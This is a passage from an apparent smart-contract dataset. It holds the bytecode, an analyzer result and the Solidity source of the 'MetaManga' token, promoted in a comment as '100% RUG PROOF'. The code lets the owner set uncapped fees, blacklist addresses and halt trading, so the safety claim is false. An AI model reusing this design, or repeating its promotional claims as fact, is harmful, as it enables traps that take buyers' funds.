b6102e16001826105c3565b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161036a90610bf2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156103e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103da90610c12565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060806104ad8361060b565b67ffffffffffffffff811180156104c357600080fd5b506040519080825280602002602001820160405280156104f25781602001602082028036833780820191505090505b50905060008090505b6105048461060b565b8110156105715761051e818561062090919063ffffffff16565b82828151811061052a57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080806001019150506104fb565b5080915050919050565b60008090505b81518110156105be576105b082828151811061059957fe5b60200260200101518461063a90919063ffffffff16565b508080600101915050610581565b505050565b60008090505b8151811015610606576105f88282815181106105e157fe5b60200260200101518461066a90919063ffffffff16565b5080806001019150506105c9565b505050565b60006106198260000161069a565b9050919050565b600061062f83600001836106ab565b60001c905092915050565b6000610662836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610718565b905092915050565b6000610692836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610788565b905092915050565b600081600001805490509050919050565b6000818360000180549050116106f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ed90610bb2565b60405180910390fd5b82600001828154811061070557fe5b9060005260206000200154905092915050565b60006107248383610870565b61077d578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050610782565b600090505b92915050565b6000808360010160008481526020019081526020016000205490506000811461086457600060018203905060006001866000018054905003905060008660000182815481106107d357fe5b90600052602060002001549050808760000184815481106107f057fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061082857fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061086a565b60009150505b92915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000813590506108a281610d03565b92915050565b600082601f8301126108b957600080fd5b81356108cc6108c782610c5f565b610c32565b915081818352602084019350602081019050838560208402820111156108f157600080fd5b60005b8381101561092157816109078882610893565b8452602084019350602083019250506001810190506108f4565b5050505092915050565b60006020828403121561093d57600080fd5b600061094b84828501610893565b91505092915050565b60006020828403121561096657600080fd5b600082013567ffffffffffffffff81111561098057600080fd5b61098c848285016108a8565b91505092915050565b60006109a183836109ad565b60208301905092915050565b6109b681610cd1565b82525050565b6109c581610cd1565b82525050565b60006109d682610c97565b6109e08185610caf565b93506109eb83610c87565b8060005b83811015610a1c578151610a038882610995565b9750610a0e83610ca2565b9250506001810190506109ef565b5085935050505092915050565b6000610a36602283610cc0565b91507f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e60008301527f64730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000610a9c601483610cc0565b91507f4c656e6774682073686f756c64206265203e20300000000000000000000000006000830152602082019050919050565b6000610adc601683610cc0565b91507f4f3a206f6e6c794f776e65722066756e6374696f6e21000000000000000000006000830152602082019050919050565b6000610b1c602183610cc0565b91507f4f3a206e6577206f776e657220697320746865207a65726f206164647265737360008301527f21000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000602082019050610b8a60008301846109bc565b92915050565b60006020820190508181036000830152610baa81846109cb565b905092915050565b60006020820190508181036000830152610bcb81610a29565b9050919050565b60006020820190508181036000830152610beb81610a8f565b9050919050565b60006020820190508181036000830152610c0b81610acf565b9050919050565b60006020820190508181036000830152610c2b81610b0f565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610c5557600080fd5b8060405250919050565b600067ffffffffffffffff821115610c7657600080fd5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000610cdc82610ce3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b610d0c81610cd1565b8114610d1757600080fd5b5056fea2646970667358221220b2173f919ce79a8864f59789273b02b6fd2153c61e1d53ea5c1953a947b7c6fe64736f6c63430006050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,050 |
0xa3f95da956f31216603bfb3076f60412e88d6f54
|
/*
* MetaManga launch is scheduled for March 11, 2022.
*
* Details: t.me/MetaManga
*
* Fair Launch
* Liquidity locked within minutes after launch
* No Pre-Sale
* No DEV allocation/ Team Tokens
* 100% RUG PROOF
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract MetaManga is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "MetaManga | t.me/MetaManga";
string private constant _symbol = "MetaManga";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFaa10Ba54956226fF4364dDfF004e99f8b033660);
address payable private _marketingAddress = payable(0xB4d1bFE0d82a112c67824CC8462d03F61f000fE1);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461056d578063dd62ed3e1461058d578063ea1644d5146105d3578063f2fde38b146105f357600080fd5b8063a2a957bb146104e8578063a9059cbb14610508578063bfd7928414610528578063c3c8cd801461055857600080fd5b80638f70ccf7116100d15780638f70ccf7146104605780638f9a55c01461048057806395d89b411461049657806398a5c315146104c857600080fd5b80637d1db4a5146103ff5780637f2feddc146104155780638da5cb5b1461044257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461039557806370a08231146103aa578063715018a6146103ca57806374010ece146103df57600080fd5b8063313ce5671461031957806349bd5a5e146103355780636b999053146103555780636d8aa8f81461037557600080fd5b80631694505e116101ab5780631694505e1461028657806318160ddd146102be57806323b872dd146102e35780632fd689e31461030357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461025657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611968565b610613565b005b34801561020a57600080fd5b5060408051808201909152601a81527f4d6574614d616e6761207c20742e6d652f4d6574614d616e676100000000000060208201525b60405161024d9190611a2d565b60405180910390f35b34801561026257600080fd5b50610276610271366004611a82565b6106b2565b604051901515815260200161024d565b34801561029257600080fd5b506014546102a6906001600160a01b031681565b6040516001600160a01b03909116815260200161024d565b3480156102ca57600080fd5b50670de0b6b3a76400005b60405190815260200161024d565b3480156102ef57600080fd5b506102766102fe366004611aae565b6106c9565b34801561030f57600080fd5b506102d560185481565b34801561032557600080fd5b506040516009815260200161024d565b34801561034157600080fd5b506015546102a6906001600160a01b031681565b34801561036157600080fd5b506101fc610370366004611aef565b610732565b34801561038157600080fd5b506101fc610390366004611b1c565b61077d565b3480156103a157600080fd5b506101fc6107c5565b3480156103b657600080fd5b506102d56103c5366004611aef565b610810565b3480156103d657600080fd5b506101fc610832565b3480156103eb57600080fd5b506101fc6103fa366004611b37565b6108a6565b34801561040b57600080fd5b506102d560165481565b34801561042157600080fd5b506102d5610430366004611aef565b60116020526000908152604090205481565b34801561044e57600080fd5b506000546001600160a01b03166102a6565b34801561046c57600080fd5b506101fc61047b366004611b1c565b6108d5565b34801561048c57600080fd5b506102d560175481565b3480156104a257600080fd5b506040805180820190915260098152684d6574614d616e676160b81b6020820152610240565b3480156104d457600080fd5b506101fc6104e3366004611b37565b61091d565b3480156104f457600080fd5b506101fc610503366004611b50565b61094c565b34801561051457600080fd5b50610276610523366004611a82565b61098a565b34801561053457600080fd5b50610276610543366004611aef565b60106020526000908152604090205460ff1681565b34801561056457600080fd5b506101fc610997565b34801561057957600080fd5b506101fc610588366004611b82565b6109eb565b34801561059957600080fd5b506102d56105a8366004611c06565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105df57600080fd5b506101fc6105ee366004611b37565b610a8c565b3480156105ff57600080fd5b506101fc61060e366004611aef565b610abb565b6000546001600160a01b031633146106465760405162461bcd60e51b815260040161063d90611c3f565b60405180910390fd5b60005b81518110156106ae5760016010600084848151811061066a5761066a611c74565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106a681611ca0565b915050610649565b5050565b60006106bf338484610ba5565b5060015b92915050565b60006106d6848484610cc9565b610728843361072385604051806060016040528060288152602001611dba602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611205565b610ba5565b5060019392505050565b6000546001600160a01b0316331461075c5760405162461bcd60e51b815260040161063d90611c3f565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107a75760405162461bcd60e51b815260040161063d90611c3f565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107fa57506013546001600160a01b0316336001600160a01b0316145b61080357600080fd5b4761080d8161123f565b50565b6001600160a01b0381166000908152600260205260408120546106c390611279565b6000546001600160a01b0316331461085c5760405162461bcd60e51b815260040161063d90611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108d05760405162461bcd60e51b815260040161063d90611c3f565b601655565b6000546001600160a01b031633146108ff5760405162461bcd60e51b815260040161063d90611c3f565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109475760405162461bcd60e51b815260040161063d90611c3f565b601855565b6000546001600160a01b031633146109765760405162461bcd60e51b815260040161063d90611c3f565b600893909355600a91909155600955600b55565b60006106bf338484610cc9565b6012546001600160a01b0316336001600160a01b031614806109cc57506013546001600160a01b0316336001600160a01b0316145b6109d557600080fd5b60006109e030610810565b905061080d816112fd565b6000546001600160a01b03163314610a155760405162461bcd60e51b815260040161063d90611c3f565b60005b82811015610a86578160056000868685818110610a3757610a37611c74565b9050602002016020810190610a4c9190611aef565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7e81611ca0565b915050610a18565b50505050565b6000546001600160a01b03163314610ab65760405162461bcd60e51b815260040161063d90611c3f565b601755565b6000546001600160a01b03163314610ae55760405162461bcd60e51b815260040161063d90611c3f565b6001600160a01b038116610b4a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c075760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063d565b6001600160a01b038216610c685760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063d565b6001600160a01b038216610d8f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063d565b60008111610df15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063d565b6000546001600160a01b03848116911614801590610e1d57506000546001600160a01b03838116911614155b156110fe57601554600160a01b900460ff16610eb6576000546001600160a01b03848116911614610eb65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063d565b601654811115610f085760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f4a57506001600160a01b03821660009081526010602052604090205460ff16155b610fa25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063d565b6015546001600160a01b038381169116146110275760175481610fc484610810565b610fce9190611cbb565b106110275760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063d565b600061103230610810565b60185460165491925082101590821061104b5760165491505b8080156110625750601554600160a81b900460ff16155b801561107c57506015546001600160a01b03868116911614155b80156110915750601554600160b01b900460ff165b80156110b657506001600160a01b03851660009081526005602052604090205460ff16155b80156110db57506001600160a01b03841660009081526005602052604090205460ff16155b156110fb576110e9826112fd565b4780156110f9576110f94761123f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061114057506001600160a01b03831660009081526005602052604090205460ff165b8061117257506015546001600160a01b0385811691161480159061117257506015546001600160a01b03848116911614155b1561117f575060006111f9565b6015546001600160a01b0385811691161480156111aa57506014546001600160a01b03848116911614155b156111bc57600854600c55600954600d555b6015546001600160a01b0384811691161480156111e757506014546001600160a01b03858116911614155b156111f957600a54600c55600b54600d555b610a8684848484611477565b600081848411156112295760405162461bcd60e51b815260040161063d9190611a2d565b5060006112368486611cd3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106ae573d6000803e3d6000fd5b60006006548211156112e05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161063d565b60006112ea6114a5565b90506112f683826114c8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061134557611345611c74565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c29190611cea565b816001815181106113d5576113d5611c74565b6001600160a01b0392831660209182029290920101526014546113fb9130911684610ba5565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611434908590600090869030904290600401611d07565b600060405180830381600087803b15801561144e57600080fd5b505af1158015611462573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114845761148461150a565b61148f848484611538565b80610a8657610a86600e54600c55600f54600d55565b60008060006114b261162f565b90925090506114c182826114c8565b9250505090565b60006112f683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166f565b600c5415801561151a5750600d54155b1561152157565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154a8761169d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157c90876116fa565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ab908661173c565b6001600160a01b0389166000908152600260205260409020556115cd8161179b565b6115d784836117e5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161c91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164a82826114c8565b82101561166657505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116905760405162461bcd60e51b815260040161063d9190611a2d565b5060006112368486611d78565b60008060008060008060008060006116ba8a600c54600d54611809565b92509250925060006116ca6114a5565b905060008060006116dd8e87878761185e565b919e509c509a509598509396509194505050505091939550919395565b60006112f683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611205565b6000806117498385611cbb565b9050838110156112f65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063d565b60006117a56114a5565b905060006117b383836118ae565b306000908152600260205260409020549091506117d0908261173c565b30600090815260026020526040902055505050565b6006546117f290836116fa565b600655600754611802908261173c565b6007555050565b6000808080611823606461181d89896118ae565b906114c8565b90506000611836606461181d8a896118ae565b9050600061184e826118488b866116fa565b906116fa565b9992985090965090945050505050565b600080808061186d88866118ae565b9050600061187b88876118ae565b9050600061188988886118ae565b9050600061189b8261184886866116fa565b939b939a50919850919650505050505050565b6000826118bd575060006106c3565b60006118c98385611d9a565b9050826118d68583611d78565b146112f65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080d57600080fd5b803561196381611943565b919050565b6000602080838503121561197b57600080fd5b823567ffffffffffffffff8082111561199357600080fd5b818501915085601f8301126119a757600080fd5b8135818111156119b9576119b961192d565b8060051b604051601f19603f830116810181811085821117156119de576119de61192d565b6040529182528482019250838101850191888311156119fc57600080fd5b938501935b82851015611a2157611a1285611958565b84529385019392850192611a01565b98975050505050505050565b600060208083528351808285015260005b81811015611a5a57858101830151858201604001528201611a3e565b81811115611a6c576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9557600080fd5b8235611aa081611943565b946020939093013593505050565b600080600060608486031215611ac357600080fd5b8335611ace81611943565b92506020840135611ade81611943565b929592945050506040919091013590565b600060208284031215611b0157600080fd5b81356112f681611943565b8035801515811461196357600080fd5b600060208284031215611b2e57600080fd5b6112f682611b0c565b600060208284031215611b4957600080fd5b5035919050565b60008060008060808587031215611b6657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9757600080fd5b833567f